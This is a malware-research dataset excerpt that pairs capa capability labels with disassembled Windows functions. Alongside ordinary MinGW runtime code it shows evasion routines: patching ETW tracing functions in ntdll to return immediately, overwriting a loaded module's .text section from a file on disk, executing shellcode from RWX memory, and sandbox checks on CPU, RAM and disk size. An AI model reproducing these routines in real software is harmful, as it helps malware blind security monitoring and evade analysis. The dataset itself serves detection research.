joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027530
Capabilities:
Write file on windows

Disassembly:
mov ecx, 8
call sym.__cxa_allocate_exception
lea r8, [method.std::bad_alloc.bad_alloc__]
lea rdx, [0x140047250]
mov rcx, rax
mov rax, qword [0x140046da0]
add rax, 0x10
mov qword [rcx], rax
call sym.__cxa_throw
nop
nop

Function at 0x140027560
Capabilities:
Write file on windows

Disassembly:
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400275dc
call sym.__cxa_begin_catch
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sym.fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sym.fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sym.fputc
call sym.__cxa_end_catch
call sym.abort
mov rcx, rdi
call sym.free
call sym.__cxa_rethrow
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400275ca

Function at 0x140027be0
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x140029220]
movabs rsi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x140029238], 0
movups xmmword [0x140029228], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x140027c95
jmp 0x140027d3f
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x140027cf0
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rsi
jne 0x140027c80
cmp qword [rbx + 7], r12
jne 0x140027c80
cmp byte [rbx + 0xf], 0x2e
jne 0x140027c80
add rbx, 0x10
lea rdi, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rbp, qword [rdi]
test rbp, rbp
je 0x140027cda
mov rcx, qword [rdi + 8]
mov r8, rbp
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x140027ce4
cmp byte [rbx + rbp], 0x3d
je 0x140027d75
add rdi, 0x18
cmp r13, rdi
jne 0x140027cbf
jmp 0x140027c80
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x140029238], rbx
jne 0x140027d4f
lea rcx, [sym.__tcf_0_1]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.atexit
mov qword [0x140029238], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x140029230], rax
test rax, rax
je 0x140027dac
xor edx, edx
mov qword [0x140029228], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x140027d27
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rbp + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x140027d9c
test dl, dl
jne 0x140027c80
test eax, eax
js 0x140027c80
mov dword [rdi + 0x10], eax
jmp 0x140027c80
xor ecx, ecx
mov qword [0x140029238], rcx
jmp 0x140027d27
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140005520]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140005530]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140005490]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.1400028e0
mov rcx, qword [0x1400055b0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140005510]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400026f0
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call fcn.1400024f0
mov rax, qword [0x1400054a0]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call fcn.140001b33
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140005530]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.1400036e0
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140005550]
mov rcx, qword [0x140005540]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140005570]
mov rcx, qword [0x140005560]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
sub rsp, 0x28
mov rax, qword [0x1400054c0]
mov dword [rax], 1
call fcn.140001180
nop
nop
add rsp, 0x28
ret
Function at 0x140001b33
Capabilities:
Create process on windows
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call fcn.1400024f0
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [0x1400055f0]
mov r8, qword [0x1400055e0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, qword [0x1400055f0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call rax
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x140001c94
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [0x140001450]
mov r8, qword [0x1400055e0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140001450]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
jmp 0x140001cca
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.https:__google.com
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140002700
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140003500
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x1400031e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005460]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003200
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003208
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003200
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000325d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003254
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003200
add rax, 0x28
cmp rax, r9
jne 0x140003240
xor eax, eax
ret

Function at 0x140003260
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005460]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000327f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003288
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000327f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003320
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005460]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000333f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003348
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x14000164c
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x1c]
mov rdx, qword [rbp + 0x28]
mov r9, r8
mov r8d, 0x40
call rax
test eax, eax
je 0x14000164f
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.WriteProcessMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, qword [rbp - 0x18]
mov r8, qword [rbp + 0x28]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8, qword [rbp + 0x10]
mov ecx, 0xffffffff
call rax
test eax, eax
je 0x140001652
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov r8d, dword [rbp - 0x1c]
mov rcx, qword [rbp - 0x18]
lea r9, [rbp - 0x1c]
mov rdx, qword [rbp + 0x28]
call rax
jmp 0x140001653
nop
jmp 0x140001653
nop
jmp 0x140001653
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140001659
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0xffffffffffffffff
jne 0x1400016b4
mov eax, 0xffffffff
jmp 0x14000189c
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0x1c], eax
mov eax, dword [rbp - 0x1c]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x1400016fc
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x14000189c
lea r8, [rbp - 0x4c]
mov ecx, dword [rbp - 0x1c]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
movzx eax, byte [rax]
cmp al, 0x50
jne 0x140001750
mov rax, qword [rbp - 0x28]
add rax, 1
movzx eax, byte [rax]
cmp al, 0x45
je 0x140001766
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x14000189c
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
add rax, 4
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x38]
add rax, 0x108
mov qword [rbp - 0x48], rax
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
jmp 0x14000183c
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov r8d, 5
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x140001838
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax + 0x14]
mov dword [rbp - 4], eax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x48]
add rax, rdx
mov eax, dword [rax + 0x10]
mov dword [rbp - 8], eax
jmp 0x140001850
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x40]
movzx eax, word [rax + 2]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jl 0x1400017b7
cmp dword [rbp - 4], 0
jne 0x140001869
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0xffffffff
jmp 0x14000189c
mov ecx, dword [rbp - 8]
mov edx, dword [rbp - 4]
mov rax, qword [rbp - 0x28]
add rax, rdx
mov edx, dword [rbp - 4]
mov r9, rcx
mov r8d, edx
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call fcn.140001540
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
add rsp, 0x90
pop rbp
ret
Function at 0x140001a15
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rdx, [rbp - 4]
mov rax, qword [rbp + 0x18]
mov r9, rdx
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x10]
call rax
mov edx, dword [rbp - 4]
lea rcx, [rbp - 4]
mov rax, qword [rbp + 0x18]
mov r9, rcx
mov r8d, edx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov dword [rbp - 0x14], 0
lea rax, str.EtwEventWrite
mov qword [rbp - 0x60], rax
lea rax, str.EtwEventWriteFull
mov qword [rbp - 0x58], rax
lea rax, str.EtwEventWriteTransfer
mov qword [rbp - 0x50], rax
lea rax, str.EtwRegister
mov qword [rbp - 0x48], rax
lea rax, str.EtwRegisterTraceGuidsW
mov qword [rbp - 0x40], rax
lea rax, str.EtwRegisterTraceGuidsA
mov qword [rbp - 0x38], rax
lea rax, str.EtwSendMessage
mov qword [rbp - 0x30], rax
lea rax, str.EtwEventWriteNoRegistration
mov qword [rbp - 0x28], rax
mov dword [rbp - 4], 0
jmp 0x140001c73
mov eax, dword [rbp - 4]
cdqe
mov rbx, qword [rbp + rax*8 - 0x60]
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001c6e
lea rdx, [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140001c04
mov eax, 0
jmp 0x140001c84
mov dword [rbp - 0x64], 0xc3c03348
mov edx, dword [rbp - 0x64]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov edx, dword [rbp - 0x14]
lea rcx, [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x140001c41
mov eax, 0
jmp 0x140001c84
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x1000
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call rax
test eax, eax
jne 0x140001c6f
mov eax, 0
jmp 0x140001c84
nop
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 7
jbe 0x140001b9c
mov eax, 1
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x140001c90
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x50]
mov dword [rbp + 0x7c], eax
cmp dword [rbp + 0x7c], 1
ja 0x140001cc6
mov eax, 1
jmp 0x140001dff
mov dword [rbp - 0x10], 0x40
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 8]
shr rax, 0x14
mov dword [rbp + 0x78], eax
cmp dword [rbp + 0x78], 0x7ff
ja 0x140001cfb
mov eax, 1
jmp 0x140001dff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x70], rax
cmp qword [rbp + 0x70], 0xffffffffffffffff
jne 0x140001d4a
mov eax, 1
jmp 0x140001dff
mov rax, qword [rbp + 0x70]
mov qword [rsp + 0x38], 0
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
test eax, eax
jne 0x140001da9
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001dff
mov rax, qword [rbp - 0x30]
mov edx, dword [rbp - 0x24]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp - 0x20]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp - 0x1c]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x6c], eax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x6c], 0x63
ja 0x140001dfa
mov eax, 1
jmp 0x140001dff
mov eax, 0
add rsp, 0x100
pop rbp
ret

Function at 0x140001e08
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x140001e49
mov eax, 0
jmp 0x140001ee5
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x140001e81
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140001ee5
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001eb6
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001ee5
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001e81
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x140002290
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000ceb0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000ceb0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140002300
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14023a0b4]
mov r12, rcx
test ebx, ebx
jle 0x140002430
mov rax, qword [0x14023a0b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000234c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400023d3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140002330
mov rcx, r12
call fcn.140002ca0
mov rsi, rax
test rax, rax
je 0x140002452
mov rax, qword [0x14023a0b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002dd0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14023a0b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002437
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400023cc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400023e0
add dword [0x14023a0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14023a0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400023cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002290
nop dword [rax]
xor ebx, ebx
jmp 0x140002357
mov rax, qword [0x14023a0b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002290
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140002290
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002910
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14023a120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14023a100]
test rbx, rbx
je 0x140002964
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000295b
test r12, r12
je 0x14000295b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002940
lea rcx, [0x14023a120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]